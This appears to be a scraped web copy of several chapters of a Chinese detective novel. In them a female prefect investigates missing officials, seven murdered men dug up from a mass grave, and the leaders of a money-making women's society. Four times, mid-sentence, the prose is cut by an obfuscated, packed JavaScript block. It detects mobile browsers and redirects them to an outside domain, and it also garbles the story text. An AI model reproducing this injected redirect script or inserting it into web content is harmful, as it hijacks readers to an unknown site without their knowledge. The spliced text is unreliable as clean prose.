云水谣觉得自己有点乱,不知道该从哪里着手去调查,也不知道应该先调查哪一任刺史的失踪案。 目前也只能把能知道的信息都了解一遍了。 因此,云水谣说道:“好吧,叫那名侍卫过来。” 160.夜斗 过了一会,一名相貌清瘦、眉骨突出的英俊侍卫走了进来,对云水谣行礼道:“见过刺史大人。” 云水谣问道:“你就是林益恭林刺史的侍卫?” “是,小人叫白东亭。” “他被掳走那天发生了什么?” “三月一号那天晚上,林刺史忙于公务,在衙门待到很晚。其他官吏都走了,只有我还守在门口。大概是戌时三刻左右,有两名黑衣人潜入官舍,朝林刺史的屋子吹迷烟。 我发现后,跟他们打斗,被打伤了。他们点了我的穴道,使我无法呼喊和动弹,然后用麻袋装着昏迷的林刺史走了。我想追上去,但身体动不了,只能眼睁睁看着他们离开。” 云水谣问道:“那两个黑衣人有什么特征?当时还有其他人看见吗?” “那两个黑衣人大概比我高半个头,比我胖一些,双手长满老茧,其他的看不出来,没有其他目击者。” “他们为何要掳走林刺史,你有发现端倪吗?” “没有。” “在林刺史失踪之前的几天,没有发生什么异常吗?” “要说异常的话,好像有一件事。” “什么事?” 侍卫白东亭道:“其实小人在林刺史身边做侍卫也没多久,之前小人是一户富商家的护院。因工钱低,还经常被管家责骂,便辞了工出来。二月十五号那天,我在街上闲逛,见到林刺史的马车,准备回避。 这时,却突然有四名刺客出现,要刺杀林刺史。林刺史身边虽有护卫,但好像很难把刺客打退。我便上前一起攻击刺客,最后刺客被打退了。 我虽然没帮上多少忙,但是林刺史感激我出手相助,便问我是谁,可有什么营生。我说我之前做过护院,目前还没有营生。他就聘我到他身边当侍卫,工钱还挺高的,我便留下了。 但是半个月后,也就是三月一号那天,林刺史就被贼人掳走了。我想,也许之前刺杀他的人,跟后来掳走他的人属于同一批吧。” 云水谣道:“原来如此。那林刺史为何会遭到刺杀?之前那些刺客可有说什么话?” “没有,那些刺客直接攻击林刺史,什么话都没说,我也不知缘由。” 云水谣想了想,道:“不对。之前那些刺客是想要林刺史的命,但三月一号那两个黑衣人却只是掳走了林刺史。在当时的情况下,他们要杀了林刺史也是轻而易举的。所以,这两拨人应该不是一伙的。” 侍卫白东亭道:“大人说的对,还是大人聪明。” “三月一号那天晚上,为何林刺史身边只有你一人?” “林刺史身边每天都有十几个侍卫守着,但那天大家都喝醉了,只有我酒量好,还清醒着,所以只有我一人守在林刺史房门口。其他侍卫都在衙门的后门那里休息,免得被林刺史发现他们喝醉了。” 既然这个侍卫只在林刺史身边半个月,应该也不知道太多事,云水谣便让他先离开了。 接着,云水谣叫了林刺史身边的家仆、亲信,询问林刺史是否跟人结仇。 家仆、亲信都道:“林刺史好像没跟人结仇。” 云水谣问道:“既然如此,为何他之前遭人刺杀,三月一号那晚又被人掳走?” “我们不太清楚。” “其他几任刺史有遭人刺杀过吗?” “好像没有。” 云水谣皱了皱眉头。这第二任刺史林益恭的情况,看起来似乎跟其他几个刺史不太一样。也许林益恭身上也有什么隐藏的秘密。 云水谣让这几个家仆、亲信离开,觉得有些累了,想回房休息一下。 这会天色已晚,想来也不会有什么事了。 这时,却有几个衙役进来,道:“刺史大人,有人来报官,说是发现了尸体。” 云水谣吓了一跳:“尸体?是谁的尸体?” 她生怕是前几任刺史的尸体。 衙役说道:“不太清楚,报案人没说。” “把报案人叫进来。” 云水谣喝了几杯茶,让自己提起精神来。 报案人走了进来,是一个四十多岁的妇人,身材微丰,面貌和善,只是带着几分惶急之色。 她见了云水谣,微微发愣。旁边的衙役提醒道:“这位就是新到任的刺史大人,你把事情跟她说就行了。” 这妇人这才意识到云水谣是位女官,便说道:“大人,民妇向氏,以前是幽州初阳村人氏。二十年前,我们村突发瘟疫,全村人都死了,只有我活了下来。当时为了躲避瘟疫,我远走他乡,后来在扬州定居。 前段日子,我忽然想起了那些村民,想去祭拜他们,就一路来到了幽州,向人打听二十年前初阳村那些死去的村民埋在哪里。有人跟我说,那些村民都埋在城北的乱葬岗,在东北角。 我就去了乱葬岗,找到了那些村民所在的位置,打算祭拜。但是,我却发现那里的泥土有新翻动的痕迹。按理说,我们村的村民都死了二十年了,不应该有新翻动的痕迹才对。乱葬岗很大,如果有新的尸体需要埋葬,可以选在别的地方,没必要去翻动已有的坟。 于是,我就刨开土看了一下,竟然看见一只皮.肉完好的死人的手。我们村的那些村民肯定已经化为白骨了,那么这只有肉的手,肯定属于新死之人的尸体。 我听人说,最近都没有新尸体运往乱葬岗那边了。那么,说不定我挖到的尸体,可能是被人杀人埋尸的。民妇心中害怕,就赶紧来报官。” 云水谣问道:“你只挖出来一只手,就没再往下挖了?” 向氏:“对,一来是没力气往下挖,二来也是心中害怕。” “那只手是男人的手还是女人的手?” “好像是男人的手。” 云水谣眉头一皱,心中有一丝不好的预感。她叫上十几名衙役,跟这妇人向氏一起去乱葬岗。 云水谣觉得有些头晕,大概是因为今日太累了。因此,她便套了个马车,坐在马车里。她随身携带了一些补气血的药丸,便吃了两颗。 等到了乱葬岗,已经是戌时了。衙役们带了几个灯笼,云水谣便让他们用灯笼照明。 向氏指出了挖到新尸体的位置,云水谣看过去,果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020310|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一只惨白的死人手。 云水谣忍着害怕和担忧,对衙役们说道:“你们从这里往下挖,小心些,不要挖破了尸身。” 衙役道:“是。” 于是,几名衙役提着灯笼,其他衙役用铁锹、铁铲等物往下挖。 没过多久,便挖出了一具男尸。 云水谣赶紧过去查看,还好,不是失踪的四位刺史。 云水谣看过之前那四位刺史的画像,知道他们长什么样。 她问在场的衙役:“有人认识这具尸体吗?” 衙役们纷纷摇头。 云水谣想把尸体带回衙门,明天再调查。 这时,有个衙役道:“等等,这底下好像还有没腐烂的新尸体。” 云水谣走过去一看,果真隐隐约约在泥土下又看见了惨白的死人肉,只是看不真切。 云水谣道:“再挖。” 众衙役挖了一阵,竟接二连三地挖出新尸体。算上之前那具,一共有七具。 还好,这些尸体都是陌生面孔,并没有前几任刺史在内。 云水谣看得头皮发麻,问众衙役:“这些尸体里可有你们认识的?” 其中一个衙役指着第三具尸体,道:“这具尸体好像是个泼皮无赖,叫韩东来。其他的小人不认识。” 另外的衙役连一具尸体也不认识。 云水谣叫他们仔细检查,确定没有其他新死的尸体了,就把挖出来的土埋了回去。 中年妇女向氏在一边战战兢兢地问道:“大人,这到底是怎么回事啊?” 云水谣道:“此事有待调查,现在本官也说不出所以然来。你是第一个发现尸体的,这段时间先别离开,可能还需要上堂作证。” 向氏道:“是。” 云水谣让向氏先回去休息,然后吩咐衙役们把这七具尸体抬回衙门。 无论有什么事,都要等明天再说了。 好不容易回到衙门,云水谣吩咐其中一个捕头道:“明日叫吕长史来调查这七具尸体的案子,本官暂时没时间。明日本官可能会起来迟些,衙门里的公务叫吕长史和其他属官先处理着。” 捕头道:“是。” 云水谣决定,今天要好好睡一觉。 她到幽州赶路就赶了十几天,来了之后马不停蹄地查案,实在累得很了。 她回到官舍,倒头就睡,都顾不上洗刷。丫环们帮她脱去外衣和鞋子,盖好被子,挂好助眠的香囊,便轻手轻脚地退了出去。 第二天云水谣醒来时,已是晚饭时分。 她正准备吃饭,丫环兰心进来道:“小姐,吕长史在外面候着,说有要事要回禀您,已经等了一个时辰了。” 云水谣赶紧起身,道:“那先见吕长史吧。” 云水谣喝了口茶之后,来到客厅,长史吕民杰正在踱步。 云水谣问道:“吕长史,有何要事?” 吕民杰道:“大人,您昨晚带回来的那七具尸体,我今天调查了,全是幽州城内一些游手好闲的年轻人。据了解,他们生前全都纠缠过天女会的那几名首领。” 161.委屈 云水谣皱眉:“那他们的死因呢?” “全是被一掌震碎了心脉而死。换句话说,只有有武功,且有一定内力的人才能做到。” “你的意思是,怀疑天女会的那几名首领?” “有这个可能。” “死亡时间呢?” “那七具尸体的腐烂程度不一,最早死亡的那一具是七个月前死的,最近的是四个多月前死的,其他尸体死亡时间都在四个月到七个月之间。” 云水谣推算道:“现在是十月,四个多月前,那就是六月初?七个月前,那就是三月份?” “差不多是这样,这七具尸体的死亡时间都在今年的三月份到六月份之间。” “那为何这么长时间没人报案?” “他们都没什么亲人,平时也游手好闲,经常不在家;而且喜欢欺负别人,所以认识他们的人都躲着他们,不会去观察他们在做什么,是否在家,去了哪里。” “带本官去看看这七具尸体。” 昨天晚上比较匆忙,而且太累了,云水谣就没细看。 她本以为这七具尸体的死亡是另一件案子,所以交给吕长史去查。没想到查了一番,竟然又跟天女会扯上了关系。 天女会的首领就关在大牢里,如果查明是她们杀了人,倒可以顺手先把天女会的案子给办了,再着手去找四名失踪的刺史。 吕长史道:“大人先戴上口罩。” 吕长史拿出一个白色的口罩,云水谣道:“多谢。” 这个口罩非常厚实,可以隔绝一部分气味。死了几个月的尸体很臭,戴上口罩倒挺不错。 云水谣来到州衙的停尸房。七具尸体依次排开,都有不同程度的腐烂,发出阵阵恶臭。 好在云水谣也不是第一次接触尸体,已经习惯了。她忍着恶臭,仔细观察。 这七具尸体体表都没有伤痕,只有心口处有一个淡淡的手印,已经发黑,确实是会武功的人震断了他们的心脉。 云水谣又观察了一会,对吕长史道:“吕长史,你有没有发现他们心口的手印大小、形状不一?” 吕长史仔细一看,道:“确实如此。看来,他们是被不同的人打死的。” 云水谣道:“天女会的首领,刚好有五个人。” 吕长史跟她对视了一眼,心里也怀疑天女会。 他对仵作道:“把这七具尸体上的手印拓印下来。” 仵作道:“是。” 仵作将七具尸体上的手印拓印下来,分别在七张不同的纸上。 云水谣发现每个手印的大小都不一样,道:“莫非有七个凶手?” 吕长史道:“人死之后,会出现巨人观,尸体会膨胀,上面的手印也会跟着变大。所以,凶手未必是七个人,手印不一样大可能是因为尸体膨胀的缘故。” “照这么说,没法根据拓印下来的手印找到凶手。” “应该不行,这些手印都因为巨人观被放大了,我们很难判断原先手印的大小。” “但手印的形状也有所不同,可以跟天女会首领的手比对一下。” “如果手印跟她们的手无法严丝合缝地对上,就很难论定她们是凶手,这个证据不太严谨。就算形状相似,但很多人的手都有些相似,没法肯定地说就是她们。” 云水谣道:“不如先把她们带过来问问,看她们有何说辞。” 云水谣让几个衙役去大牢里,把天女会的几名首领带到停尸房来。 很快,江蓼烟等人就到了。 她们看见这七具尸体,眼睛有一瞬间睁大了,似乎有些不敢相信,随即恢复了正常的表情。 云水谣问道:“你们可认识这七具尸体?” 江蓼烟道:“认识,他们都是幽州的泼皮无赖,之前骚.扰过我们,我们没搭理他们。没想到,他们都死了。” 云水谣直视着她们的眼睛:“这几个人的死,跟你们有关系吗?” 江蓼烟等人神色不变,道:“没关系。”“我们也不知道他们怎么死的。”“是谁杀了他们?” 云水谣道:“他们都是被人一掌震碎心脉而死,这是有武功的人才能做到的。” 江蓼烟道:“原来如此。” 天女平淮山道:“太可怕了,是什么人如此残忍?” 天女秦灵儿道:“怪不得最近都没看见他们了,原来是死了。” 云水谣道:“以你们的武功,也能做到吧?” 江蓼烟道:“能做到是一回事,但我们不会杀人的。我们来幽州只是求财,如果杀人了,东窗事发,会被判死刑的。” 平淮山道:“大人,您是在怀疑我们?” 云水谣道:“听认识他们的人说,他们生前一直在纠缠你们,你们不胜其烦。所以,本官判断,你们存在杀人动机。” 平淮山道:“不会的,我们确实有点烦他们,但不可能采用这样的手段。” 秦灵儿道:“大人可以比对一下尸身上的手印,就知道跟我们的手掌不一样。” 云水谣道:“肯定不一样,现在尸体都出现了巨人观,尸身上的手印已经被撑大了。本官再给你们最后一次机会,人是不是你们杀的?现在承认,还可以酌情减刑。若是日后被本官查出真相,你们再想求情就晚了。” 江蓼烟道:“我们清清白白,不怕被查。杀人之罪,怎么能乱认?大人,还请您尽快查清真相,还我们一个清白。” 江蓼烟坦坦荡荡地看着云水谣,似乎没有半分心虚。 她要么是无辜的,要么就是城府极深。 目前云水谣还无法判断是哪一种情况。 天女成渺渺有些委屈地说道:“我还以为女官会体谅女孩子,没想到也以权势压人,逼我们承认杀人之罪。如果女官大人需要政绩的话,尽管把我们的命拿去好了。我们这些老百姓,从来就是弱者。” 圣女江蓼烟道:“渺渺,不许胡说!” 见她们的反应毫无破绽,云水谣道:“本官只是例行查问,你们有杀人动机,所以本官才审问一下。如果你们确实无罪,本官也不可能逼你们承认。你们先回牢里吧。” 天女会众首领又被带回了牢里。 吕长史问道:“大人,您觉得她们是凶手吗?” 云水谣道:“她们不承认,而且刚才的表现没有什么破绽,现在还不好说。仵作,你仔细检查一下这七具尸体,看有没有什么线索。比如,指甲缝里、嘴巴里、鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025212|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里有没有什么东西。” 仵作道:“是。” 停尸房味道太大,云水谣就走出来透透气。 吕长史也走了出来,正想跟云水谣讨论案情,这时,一个紫衣少女怒气冲冲地跑了过来,正是吕长史的妹妹吕一宁。 吕一宁对吕长史道:“为什么你们一直关着天女会的几位首领?不能放了她们吗?” 吕长史道:“我已经说过了,她们犯了别的罪,只是暂时没法公开,所以要被关押。” 吕一宁生气道:“有什么罪,连说都不能说?我看,你们就是欲加之罪,何患无辞!狗官!” 吕长史有些生气,而且因为云水谣在场,又添了几分尴尬,怒斥妹妹:“你胡说什么!诽谤朝廷命官也是要治罪的,幸亏是云大人大度,不跟你计较。若换了别人,早就把你抓起来打板子了!” 其实云水谣还没做出反应,吕长史就抢着这么说,明着是斥责妹妹,实际上是在为妹妹开脱。一顶高帽子给云水谣戴上,云水谣就不好意思惩治吕一宁了。 吕一宁虽然是在对自己的兄长发脾气,但严格来说,吕长史属于朝廷官员,吕一宁身为百姓,是不能随意骂他的。而且云水谣也在旁边,这一句“狗官”听着也很刺耳。就算吕一宁不是针对云水谣,云水谣也可以惩罚她。 云水谣自然明白吕长史的心思,他想护着妹妹可以理解,而且云水谣也不是那种因为别人几句话就上纲上线的人,因此便笑道:“吕姑娘,这一次本官不计较,下一次可就不行了。” 吕一宁也有些害怕,说了声:“是,多谢大人。” 吕长史赶紧对妹妹说道:“还不赶紧回家去,这里也是你能来的吗?以后没有我的允许,不能来衙门找我!” 吕一宁“哼”了一声,没说什么,直接转身离开了。她的步伐迈得很大,每一步都在表明她的怒气。 待吕一宁走后,吕长史向云水谣赔罪道:“舍妹无礼,还请云大人勿怪。她是我父母五十岁时所生,被我爹娘宠坏了,总是这般横冲直撞的。过几日我请云大人吃饭赔罪吧。” 云水谣笑道:“这倒不用,我并不在意。只是,令妹的反应也让本官明白,这天女会实在为祸不浅,得早点把她们一锅端了。否则,天女会的成员只知道一位地维护这些首领,是非不分,还觉得自己正确。长此以往,不仅增加跟家人的矛盾,恐怕还会有其他祸端。” 吕长史叹道:“谁说不是呢?舍妹加入天女会已经两年多了,我虽然反对,但她根本不在意我的意见。我爹娘又一味地纵容她,她要拿家里的钱买天女会的东西,爹娘都给了。 记得有一次,有个天女会的小姑娘质疑天女们卖的东西太贵,就被天女们开除了。这几位首领还跟其他成员一起说那小姑娘的坏话,我妹妹也说了许多,害得那小姑娘差点自尽。我知道了,便对我妹妹说,天女会不是提倡要做个好人,修身养性吗?在背后议论别人,编排别人,也算是做善事吗? 谁知我妹妹说,那小姑娘确实是坏人,她们只是说出事实,不算编排别人,不算做坏事。我听了以后,觉得她们真是太顽固了,但也没什么办法,除非天女会消失了,那几个首领离开。否则,这些成员只会被带得越来越歪。” 162.画像 云水谣道:“看来,用虚荣心和正义感去控制别人,比用毒药或其他手段更厉害。天女会这几位首领,也算是很有本事了,可惜这份聪明没用在正道上。” 吕长史点头称是:“只要把那几位首领跟两位刺史私.会的事情公布出来,很多成员就会意识到,这些首领并没有她们自己宣传的那么纯洁无瑕。相反,她们心里充满了欲望,为了挣钱不择手段。那么,很多成员应该会清醒一点。” “没错。如果她们还杀了人的话,恐怕一个信众都不会有了。现在要查清她们是否杀了这七个泼皮无赖。吕长史,劳烦你贴出告示,说幽州有七个年轻人被杀,如果能提供相关线索,可以得到官府的赏钱。这七名死者的画像、年龄、姓名等,也一并张贴出去。” 吕长史虽然是下属,但年长,而且做官时间也比云水谣长,因此云水谣对他很客气。 吕长史道:“是,下官现在去办。” “另外,派人去搜查这七个死者家里搜查,看看有没有什么线索。” “是。” 这会已经到了下值的时间了,云水谣给加班的衙役们都发了赏钱,犒劳他们。 仵作验完尸,对云水谣道:“大人,我已经仔细检查了七名死者的尸体,没有发现什么线索,指甲缝、嘴巴等地方也很干净。” 云水谣道:“那就罢了,辛苦你了,你先回去吧。” “是。” 大约一个时辰后,搜查死者家里的衙役们回来了。 衙役们拿着一些画像,对云水谣道:“大人,在几名死者家中发现了天女会各首领的画像,每个死者家中都有。” 这些画像有几十幅,画的都是天女会的圣女或几位天女。 不过,这只能证明这几名死者对天女会首领有非分之想,不能证明他们就是死于天女会首领手中。 看来,也只能看看有没有百姓会提供线索了。 天色已晚,云水谣让衙役们先回去了。 柳依依帮忙把这些画像收起来,突然对云水谣道:“大人,您看这个。” 云水谣走了过去,问道:“怎么了?是画像有什么问题吗?” 柳依依拿着一幅平淮山的画像,指着她的腰间,道:“大人,您看她腰间挂着的棕色布偶熊,我们是不是在哪见过?” 云水谣突然想起了什么,心跳得很快。 她在搜查第四任董刺史的房间时,在他的床底下发现了一个盒子,盒子里面就有一个棕色布偶熊玩偶,跟画像上的一模一样。 当时,云水谣还觉得疑惑,董刺史为何要将这盒子藏得这么好。董盛年解释说,这布偶熊是她小时候的玩具,所以她父亲一直保存着。 但这有两个疑点,第一就是董刺史就算重视女儿的玩偶,也没必要带到任上来,放在家里更好;第二点就是那只布偶熊太新了,没什么折旧的痕迹,不像是被玩了很多年的玩具。 云水谣把这两个疑点说了出来,跟柳依依分析。 柳依依道:“大人说得没错,莫非董刺史房中的布偶熊,就是天女平淮山的?” 云水谣把这些画像全部打开,找出所有平淮山的画像。这些画像上,平淮山穿的衣服都不同,但相同的一点是,她腰间都挂着一只布偶熊玩偶。 看来,这是她随身携带之物。 柳依依道:“要不现在找董姑娘来问问?” 云水谣想了想,道:“等一下再找她问。依依,有几名衙役就住在衙门附近,你去找他们,让他们找几个天女会成员过来,越快越好,我有事要问。” 柳依依道:“要找几名天女会成员?” “四五名足矣。” “是。” 衙门里有官吏的户籍册,上面记载了官吏和衙役们的住所等信息。 柳依依找了几个离衙门最近的地址,上门找衙役办差。 很快,这些衙役就找到了几名住得不远的天女会成员,一共找来五个人。 这五人道:“大人,您为何找我们?是不是要释放我们的圣女和天女,让我们来接人的?” 云水谣道:“不是,只是有一件事要你们确认。天女平淮山的腰间,是不是一直系着一只布偶小熊?” 成员们答道:“对,她每天都会系着。” “好像是以前有个算命先生跟她说过,棕色的布偶小熊有助于她的运势,所以她每天都挂着布偶熊。” 云水谣把平淮山的画像拿了一幅过来,指着上面的布偶熊道:“是这样的吗?” “对,就是这样的。” “大人,您是从哪得来淮山姐姐的画像的?” 云水谣道:“这件事以后才能说,你们迟早会知道的。你们刚才说的话,都是真实的吗?” “是真的。” 云水谣点了点头,对柳依依道:“现在可以把董姑娘叫出来了,顺便让她把那只布偶小熊拿来。” 柳依依道:“是。” 董盛年就住在官舍里,来得非常快。那只布偶小熊,就在柳依依手里拿着。 董盛年时不时地看向那只布偶小熊,似乎想拿回来,又不敢。 云水谣问其他天女会成员:“柳依依手上拿着的那只布偶小熊,就是平淮山平日里佩戴的那一只吗?” 成员们道:“看着很像,但是不是同一只不知道。” 云水谣道:“看来,这只布偶小熊就是平淮山的。董姑娘,之前你为何要说谎?” 董盛年眼神躲闪,但嘴硬道:“我没说谎,这布偶小熊就是我小时候的玩具,只不过跟平淮山平时挂着的小熊很像而已。” 云水谣道:“既然是你小时候的玩具,便该有些陈旧破损,可这只布偶小熊却很新,你作何解释?” “我……” 董盛年不再说话。 云水谣道:“我知道你为何撒谎。你也不知道你爹把这布偶小熊藏在床底下,当这小熊被本官搜出来时,你一眼就认出这是平淮山的东西。可是,你太信任天女会的首领了,生怕本官把你爹的失踪跟天女会扯上关系,所以帮着隐瞒。所以,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030122|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才说这是你小时候的玩具。 可是,你有没有想过,万一平淮山并不像表面上那么好,万一就是她和其他天女绑架了你爹,甚至杀了你爹呢?你能承受这个后果吗?” 董盛年道:“我……我承认这玩偶小熊是平淮山的,我只是不知道这小熊为何会出现在我爹的房间……我相信我爹的失踪跟平淮山无关,她和其他天女都是好人……” 云水谣道:“上善若水,真正善良的人不会一直宣扬。本官可以肯定地说,天女会的圣女和天女,跟你们想象中的差别很大。正好本官这里有她们之前的一些供词,你们都看看吧。” 云水谣让柳依依把天女会首领的一部分供词拿过来,让董盛年和其他天女会成员传阅。 这一部分,刚好是圣女她们自己承认跟陆文远、林益恭两任刺史有不正当的关系,为了维持天女会的运转。 而且她们也承认,天女会的存在就是为了敛财。 看完这些供词后,董盛年和其他几位成员都有些不敢相信,有两个女孩还哭了。 云水谣道:“人的外表和内心往往有所差别,有城府的人善于伪装,你们之前都被骗了。所谓的圣女、天女,满脑子都是生意,为了赚钱可以不要节操,不要道德,却偏偏用善良的外壳来伪装自己。 你们听说过画皮鬼吗?画皮鬼外表漂亮,但内在是一只丑陋的鬼。” 董盛年现在才醒悟过来,着急地对云水谣道:“云大人,我爹会不会真的被平淮山她们掳走了?要不然他房中怎么会有这小熊玩偶?” 云水谣道:“你爹是在外面失踪的,平淮山她们并未冲进官舍里来掳人,按理说她身上的挂件不应该掉在官舍里。而且,就算你爹真的是在自己的房间被掳走的,那只玩偶小熊应该也是掉在地上或掉进了某个角落,而不是好端端地藏在木盒子里,粘在床底板上。 所以,这小熊玩偶的来历可能有其他不为人知的隐情,但应该是平淮山的东西没错。” 董盛年道:“如果这小熊玩偶不是平淮山掳走我父亲时不小心掉的,还能因为什么原因出现在我爹房中?” 有个天女会成员道:“说不定是平淮山跟你爹也有暧,昧关系,所以你爹私藏了她的玩偶小熊。” 董盛年暴怒道:“你胡说!我爹不是这种人!” “你别生气,我也只是猜测而已。天女她们不是承认自己跟陆刺史和林刺史都有不正当的关系吗?那她们接着勾.引你爹,也很合理啊。陆刺史和林刺史失踪了,天女们需要找个新的靠山,自然就找上你爹了。” “我爹坐怀不乱,才不是这种人!” “那要不就亲自问问平淮山咯。” 云水谣道:“你们别吵了。来人,去把平淮山从牢里带出来。” 很快,平淮山就被带到了公堂上。云水谣把玩偶小熊给她看,问道:“你认识这个吗?” 平淮山道:“我有类似的小熊。” “这个小熊是你的吗?” 平淮山很肯定地道:“不是。” 163.狡辩 云水谣心里生气极了,因为像平淮山这种人,她遇见过很多次了。很多犯人一开始都不承认自己的罪行,非要等到无可抵赖的时候才承认,平白浪费官员的时间精力。 不过,回过头来想想,也许这小熊确实不是她的,毕竟相似的小熊很多。 但是,就算这小熊不是她的,董刺史的失踪跟她肯定脱不了干系,因为云水谣在平淮山家里听见了那两只蝼蛄的话,证明董刺史很有可能已经遇害了。 云水谣耐着性子问她:“你说的是真的?” 平淮山道:“是。我自己的小熊在我家里,云大人可派人去找。” 其实,就算平淮山家里有玩偶小熊,也证明不了什么。这种玩偶小熊很容易买到,她随时可以买个新的,然后说自己的小熊从未遗失。 不过,去找一找也是必要的。 云水谣道:“本官明日会派人到你家去找玩偶熊。另外,董刺史的失踪,跟你无关?” “确实无关。” 董盛年情绪激动,走到平淮山面前,道:“你说谎!一定是你掳走我爹!你把我爹还给我!” 平淮山道:“我确实不知道董刺史去了哪里。我能理解你的心情。盛年,你别着急,总有一天能找到你爹的。” 平淮山的声音温柔和善,如果不是知道了她的真面目,普通小姑娘还真容易把她当成知心大姐姐。 董盛年怒道:“你不要用这种口气跟我说话!我已经发现你的真面目了!你们几个,表面善良,内藏奸诈,你只是把我们当成韭菜而已!” 平淮山愣了一下,随即很快反应过来,道:“我承认,我们高价卖给你们东西,确实存了私心。这件事情我认,但你爹的失踪真的跟我没关系啊。” “你还在否认!你这女人怎么这么可恶!” 董盛年非常生气,想打平淮山。云水谣赶紧让人把董盛年拉开,一拍惊堂木,道:“不要咆哮公堂。董刺史失踪一案,由于证据不足,先把平淮山押回大牢。” 平淮山站了起来,跟着衙役往牢里走。她的表情始终很镇静,甚至扬起了一抹笑容。 董盛年有些不悦,对云水谣道:“大人,您为何不严刑拷打她?她受不住刑罚,一定会招认的。” 云水谣道:“如果随便用重刑,有些犯人可能会承认自己没做过的事,所以用刑要慎重。若你父亲是被其他人掳走,但平淮山招认了这个罪,也没用啊,你父亲还是找不回来。” 听着云水谣的耐心解释,董盛年觉得有道理,也就不再吵闹了。她忽然觉得,云水谣身为三品高官,竟然对自己一再包容忍让,非常难得。因此,她不想再给云水谣添堵。 云水谣对董盛年和天女会的其他几个成员说道:“今日本官给你们看的天女会首领的口供,先不要外传。因为她们的口供关涉两位刺史,兹事体大,你们若是说出去,很容易招来祸患,本官也会从严治罪。” 董盛年和其他几个天女会成员都道:“大人放心,我们不会外传。” 得到了保证后,云水谣便让她们离开了。 今天她睡了一天,这会倒不累,回到住所后,又吃了点夜宵。 丫环兰心道:“小姐,自从您当了女官,越来越瘦了。” 云水谣笑道:“是吗?” “对,您都没发现吗?估计是累的。” “那你们多做点好吃的,给我补补。” “小姐,我们每天都变着法的给您做好吃的,但您还是越来越瘦。您不要这么辛苦,也要注意休息啊。” “知道了,我这就休息。” 有人关心自己,也挺幸福的。云水谣笑了笑,躺到了床上。 不过,她总是想着明天要做些什么,一时难以入睡。没过一会,外面下起雨来,她听着淅淅沥沥的雨声,倒有了困意,逐渐睡着了。 在梦里,她回到了小时候。那时读书读累了,她就会对着窗户发呆。有时候下雨,她就会叫丫环煮茶。她一边喝茶,一边听雨,静谧又快乐。 她睡得挺好的,第二天醒来神清气爽。 云水谣早早来到公廨,拿着那个小熊玩偶,对几个衙役道:“你们去平淮山家里,看看有没有这样的小熊玩偶,有的话就带回来。” 衙役道:“是。” 过了一会,有个衙役进来禀告:“大人,门外有个百姓,说是有事想对大人说,事关那七名死者。” 云水谣道:“快请他进来。” 昨天吕长史贴出告示,说幽州有七名年轻人死了数月,如果有知道相关线索的,可以来衙门领赏。 没想到,这么快就有人来了。 进来的是一个驼背干瘦的中年人,他对云水谣道:“大人,小人叫陈运通,那七名死者中,有一个叫韩东来的年轻人,小人认识他。此人是个无赖,平时喜欢坑人,所以小人平时都躲着他。只是因为住得比较近,所以也算熟悉。 今年四月份之后,小人就再也没见过他了,不过也没在意。因为他时不时就会出远门,一两个月不在也正常,小人也不关心他的去向。 后来他一直没回来,小人渐渐地就淡忘了。没想到,昨天小人看见官府的告示,他竟然死了。小人这才想起一件事,觉得可能是线索。” 云水谣问道:“什么事?” 陈运通道:“那个韩东来有一个琉璃山水鼻烟壶,他经常拿在手上把玩,我也见过好几次。在他消失后没多久,我竟看见有个漂亮的姑娘在向一个过路的商人出售东西。那姑娘拿了一大堆宝物出来,其中就有那个鼻烟壶。 我当时觉得奇怪,韩东来的鼻烟壶怎么到了那个姑娘手中?后来我一想,也许是一模一样的东西吧,也没说那鼻烟壶只有一个啊。 但是现在想想,会不会是那个姑娘杀了韩东来,拿走了他的鼻烟壶,出售给商人?” 云水谣问道:“有这个可能。那个姑娘长什么样子?多大年纪?” “大概二十多岁吧,长得很标致。” 云水谣心中有了个猜测。她让人取来天女会首领的画像各一幅,问陈运通:“你仔细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034155|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这五幅画像,你当天见到的那个姑娘,是不是这五人当中的一个?” 